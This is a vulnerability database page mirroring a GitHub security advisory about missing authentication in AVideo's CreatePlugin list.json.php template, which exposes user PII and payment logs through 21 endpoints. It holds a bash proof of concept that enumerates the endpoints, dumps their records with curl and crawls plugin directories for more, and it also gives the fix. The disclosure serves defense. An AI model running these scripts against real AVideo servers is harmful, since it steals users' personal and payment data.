GHSA-G2MG-CGR6-VMV7

Vulnerability from github – Published: 2026-04-01 21:05 – Updated: 2026-04-01 21:05
VLAI?
Summary
AVideo: Missing Authentication in CreatePlugin list.json.php Template Affects 21 Endpoints
Details

Summary

The AVideo CreatePlugin template for list.json.php does not include any authentication or authorization check. While the companion templates add.json.php and delete.json.php both require admin privileges, the list.json.php template was shipped without this guard. Every plugin that uses the CreatePlugin code generator inherits this omission, resulting in 21 unauthenticated data listing endpoints across the platform. These endpoints expose sensitive data including user PII, payment transaction logs, IP addresses, user agents, and internal system records.

Details

The list.json.php template in CreatePlugin/templates/ lacks any authentication check. Comparing with the sibling templates:

// CreatePlugin/templates/add.json.php:12
if (!User::isAdmin()) {
    die('{"error": "Must be admin"}');
}

// CreatePlugin/templates/delete.json.php:11
if (!User::isAdmin()) {
    die('{"error": "Must be admin"}');
}

// CreatePlugin/templates/list.json.php
// NO authentication check - accessible to anyone

This template is used by the CreatePlugin generator to scaffold CRUD endpoints for plugin database tables. Every generated list.json.php inherits the missing auth check, exposing the table contents to unauthenticated requests.

Confirmed on a live instance, the Meet plugin's join log endpoint returns full records without authentication:

GET /plugin/Meet/View/Meet_join_log/list.json.php HTTP/1.1

Response (HTTP 200):

{
  "data": [
    {
      "id": 1,
      "users_id": 42,
      "ip": "REDACTED",
      "user_agent": "Mozilla/5.0 ...",
      "created": "2025-01-15 14:32:00",
      "room_name": "private-meeting-xyz"
    }
  ]
}

The 21 affected endpoints generated from this template include:

Endpoint Exposed Data
plugin/Meet/View/Meet_join_log/list.json.php User IDs, IP addresses, user agents, timestamps, room names
plugin/PayPalYPT/View/PayPalYPT_log/list.json.php PayPal transaction logs, payment amounts, buyer info
plugin/AuthorizeNet/View/Anet_webhook_log/list.json.php Payment webhook data, transaction details
plugin/CustomizeUser/View/Users_extra_info/list.json.php Extended user profile data, PII fields
plugin/UserNotifications/View/User_notifications/list.json.php User notification records, activity patterns
plugin/UserConnections/View/Users_connections/list.json.php Social connection graphs between users
And 15+ additional plugin endpoints Various internal records

Proof of Concept

Step 1: Enumerate accessible list endpoints (no authentication required):

#!/bin/bash
TARGET="https://your-avideo-instance.com"

ENDPOINTS=(
  "plugin/Meet/View/Meet_join_log/list.json.php"
  "plugin/PayPalYPT/View/PayPalYPT_log/list.json.php"
  "plugin/AuthorizeNet/View/Anet_webhook_log/list.json.php"
  "plugin/CustomizeUser/View/Users_extra_info/list.json.php"
  "plugin/UserNotifications/View/User_notifications/list.json.php"
  "plugin/UserConnections/View/Users_connections/list.json.php"
)

for endpoint in "${ENDPOINTS[@]}"; do
  echo "=== $endpoint ==="
  HTTP_CODE=$(curl -s -o /tmp/avi037_response.json -w "%{http_code}" "$TARGET/$endpoint")
  echo "Status: $HTTP_CODE"
  if [ "$HTTP_CODE" = "200" ]; then
    echo "VULNERABLE - Data returned:"
    python3 -m json.tool /tmp/avi037_response.json 2>/dev/null | head -20
  fi
  echo ""
done

Step 2: Retrieve paginated results from a specific endpoint:

# Fetch meeting join logs with pagination
curl -s "https://your-avideo-instance.com/plugin/Meet/View/Meet_join_log/list.json.php?length=100&start=0" \
  | python3 -m json.tool

# Fetch payment logs
curl -s "https://your-avideo-instance.com/plugin/PayPalYPT/View/PayPalYPT_log/list.json.php?length=100&start=0" \
  | python3 -m json.tool

Step 3: Discover additional vulnerable endpoints by scanning plugin directories:

curl -s "https://your-avideo-instance.com/plugin/" \
  | grep -oP 'href="([^"]+)/"' \
  | while read plugin; do
    PLUGIN_NAME=$(echo "$plugin" | grep -oP '"([^"]+)/"' | tr -d '"/')
    URL="$TARGET/plugin/$PLUGIN_NAME/View/"
    curl -s "$URL" | grep -oP 'href="([^"]+)/"' | while read view; do
      VIEW_NAME=$(echo "$view" | grep -oP '"([^"]+)/"' | tr -d '"/')
      LIST_URL="$TARGET/plugin/$PLUGIN_NAME/View/$VIEW_NAME/list.json.php"
      CODE=$(curl -s -o /dev/null -w "%{http_code}" "$LIST_URL")
      [ "$CODE" = "200" ] && echo "FOUND: $LIST_URL"
    done
  done

Impact

21 data listing endpoints across AVideo plugins are accessible without any authentication. An unauthenticated attacker can retrieve:

  • User PII: Extended profile information, email addresses, user IDs
  • Payment data: PayPal and Authorize.Net transaction logs, payment amounts, buyer details
  • Access logs: IP addresses, user agents, timestamps, and behavioral patterns from meeting join logs
  • Social graphs: User connection and relationship data
  • Activity records: Notification history revealing user behavior patterns

This is a systemic vulnerability originating from the code generation template, meaning every plugin created with the CreatePlugin generator will have the same issue unless the developer manually adds authentication. The template itself should be fixed to prevent future plugins from inheriting this flaw.

  • CWE-306: Missing Authentication for Critical Function
  • Severity: Medium

Recommended Fix

Add an admin authentication check to CreatePlugin/templates/list.json.php after the require lines, matching the pattern used in add.json.php and delete.json.php:

// CreatePlugin/templates/list.json.php (after the require lines)
if (!User::isAdmin()) {
    die(json_encode(['error' => true]));
}

This fixes the template for future plugins. Additionally, retroactively patch all 21 existing generated list.json.php endpoints by adding the same admin check after their require lines.


Found by aisafe.io

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34732"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-01T21:05:59Z",
    "nvd_published_at": "2026-03-31T21:16:31Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe AVideo `CreatePlugin` template for `list.json.php` does not include any authentication or authorization check. While the companion templates `add.json.php` and `delete.json.php` both require admin privileges, the `list.json.php` template was shipped without this guard. Every plugin that uses the CreatePlugin code generator inherits this omission, resulting in 21 unauthenticated data listing endpoints across the platform. These endpoints expose sensitive data including user PII, payment transaction logs, IP addresses, user agents, and internal system records.\n\n## Details\n\nThe `list.json.php` template in `CreatePlugin/templates/` lacks any authentication check. Comparing with the sibling templates:\n\n```php\n// CreatePlugin/templates/add.json.php:12\nif (!User::isAdmin()) {\n    die(\u0027{\"error\": \"Must be admin\"}\u0027);\n}\n\n// CreatePlugin/templates/delete.json.php:11\nif (!User::isAdmin()) {\n    die(\u0027{\"error\": \"Must be admin\"}\u0027);\n}\n\n// CreatePlugin/templates/list.json.php\n// NO authentication check - accessible to anyone\n```\n\nThis template is used by the CreatePlugin generator to scaffold CRUD endpoints for plugin database tables. Every generated `list.json.php` inherits the missing auth check, exposing the table contents to unauthenticated requests.\n\nConfirmed on a live instance, the Meet plugin\u0027s join log endpoint returns full records without authentication:\n\n```\nGET /plugin/Meet/View/Meet_join_log/list.json.php HTTP/1.1\n```\n\nResponse (HTTP 200):\n\n```json\n{\n  \"data\": [\n    {\n      \"id\": 1,\n      \"users_id\": 42,\n      \"ip\": \"REDACTED\",\n      \"user_agent\": \"Mozilla/5.0 ...\",\n      \"created\": \"2025-01-15 14:32:00\",\n      \"room_name\": \"private-meeting-xyz\"\n    }\n  ]\n}\n```\n\nThe 21 affected endpoints generated from this template include:\n\n| Endpoint | Exposed Data |\n|----------|-------------|\n| `plugin/Meet/View/Meet_join_log/list.json.php` | User IDs, IP addresses, user agents, timestamps, room names |\n| `plugin/PayPalYPT/View/PayPalYPT_log/list.json.php` | PayPal transaction logs, payment amounts, buyer info |\n| `plugin/AuthorizeNet/View/Anet_webhook_log/list.json.php` | Payment webhook data, transaction details |\n| `plugin/CustomizeUser/View/Users_extra_info/list.json.php` | Extended user profile data, PII fields |\n| `plugin/UserNotifications/View/User_notifications/list.json.php` | User notification records, activity patterns |\n| `plugin/UserConnections/View/Users_connections/list.json.php` | Social connection graphs between users |\n| And 15+ additional plugin endpoints | Various internal records |\n\n## Proof of Concept\n\n**Step 1:** Enumerate accessible list endpoints (no authentication required):\n\n```bash\n#!/bin/bash\nTARGET=\"https://your-avideo-instance.com\"\n\nENDPOINTS=(\n  \"plugin/Meet/View/Meet_join_log/list.json.php\"\n  \"plugin/PayPalYPT/View/PayPalYPT_log/list.json.php\"\n  \"plugin/AuthorizeNet/View/Anet_webhook_log/list.json.php\"\n  \"plugin/CustomizeUser/View/Users_extra_info/list.json.php\"\n  \"plugin/UserNotifications/View/User_notifications/list.json.php\"\n  \"plugin/UserConnections/View/Users_connections/list.json.php\"\n)\n\nfor endpoint in \"${ENDPOINTS[@]}\"; do\n  echo \"=== $endpoint ===\"\n  HTTP_CODE=$(curl -s -o /tmp/avi037_response.json -w \"%{http_code}\" \"$TARGET/$endpoint\")\n  echo \"Status: $HTTP_CODE\"\n  if [ \"$HTTP_CODE\" = \"200\" ]; then\n    echo \"VULNERABLE - Data returned:\"\n    python3 -m json.tool /tmp/avi037_response.json 2\u003e/dev/null | head -20\n  fi\n  echo \"\"\ndone\n```\n\n**Step 2:** Retrieve paginated results from a specific endpoint:\n\n```bash\n# Fetch meeting join logs with pagination\ncurl -s \"https://your-avideo-instance.com/plugin/Meet/View/Meet_join_log/list.json.php?length=100\u0026start=0\" \\\n  | python3 -m json.tool\n\n# Fetch payment logs\ncurl -s \"https://your-avideo-instance.com/plugin/PayPalYPT/View/PayPalYPT_log/list.json.php?length=100\u0026start=0\" \\\n  | python3 -m json.tool\n```\n\n**Step 3:** Discover additional vulnerable endpoints by scanning plugin directories:\n\n```bash\ncurl -s \"https://your-avideo-instance.com/plugin/\" \\\n  | grep -oP \u0027href=\"([^\"]+)/\"\u0027 \\\n  | while read plugin; do\n    PLUGIN_NAME=$(echo \"$plugin\" | grep -oP \u0027\"([^\"]+)/\"\u0027 | tr -d \u0027\"/\u0027)\n    URL=\"$TARGET/plugin/$PLUGIN_NAME/View/\"\n    curl -s \"$URL\" | grep -oP \u0027href=\"([^\"]+)/\"\u0027 | while read view; do\n      VIEW_NAME=$(echo \"$view\" | grep -oP \u0027\"([^\"]+)/\"\u0027 | tr -d \u0027\"/\u0027)\n      LIST_URL=\"$TARGET/plugin/$PLUGIN_NAME/View/$VIEW_NAME/list.json.php\"\n      CODE=$(curl -s -o /dev/null -w \"%{http_code}\" \"$LIST_URL\")\n      [ \"$CODE\" = \"200\" ] \u0026\u0026 echo \"FOUND: $LIST_URL\"\n    done\n  done\n```\n\n## Impact\n\n21 data listing endpoints across AVideo plugins are accessible without any authentication. An unauthenticated attacker can retrieve:\n\n- **User PII**: Extended profile information, email addresses, user IDs\n- **Payment data**: PayPal and Authorize.Net transaction logs, payment amounts, buyer details\n- **Access logs**: IP addresses, user agents, timestamps, and behavioral patterns from meeting join logs\n- **Social graphs**: User connection and relationship data\n- **Activity records**: Notification history revealing user behavior patterns\n\nThis is a systemic vulnerability originating from the code generation template, meaning every plugin created with the CreatePlugin generator will have the same issue unless the developer manually adds authentication. The template itself should be fixed to prevent future plugins from inheriting this flaw.\n\n- **CWE-306**: Missing Authentication for Critical Function\n- **Severity**: Medium\n\n## Recommended Fix\n\nAdd an admin authentication check to `CreatePlugin/templates/list.json.php` after the require lines, matching the pattern used in `add.json.php` and `delete.json.php`:\n\n```php\n// CreatePlugin/templates/list.json.php (after the require lines)\nif (!User::isAdmin()) {\n    die(json_encode([\u0027error\u0027 =\u003e true]));\n}\n```\n\nThis fixes the template for future plugins. Additionally, retroactively patch all 21 existing generated `list.json.php` endpoints by adding the same admin check after their require lines.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
  "id": "GHSA-g2mg-cgr6-vmv7",
  "modified": "2026-04-01T21:05:59Z",
  "published": "2026-04-01T21:05:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-g2mg-cgr6-vmv7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34732"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/ea9f555850eb399126a103c1df2156b48734c990"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo: Missing Authentication in CreatePlugin list.json.php Template Affects 21 Endpoints"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…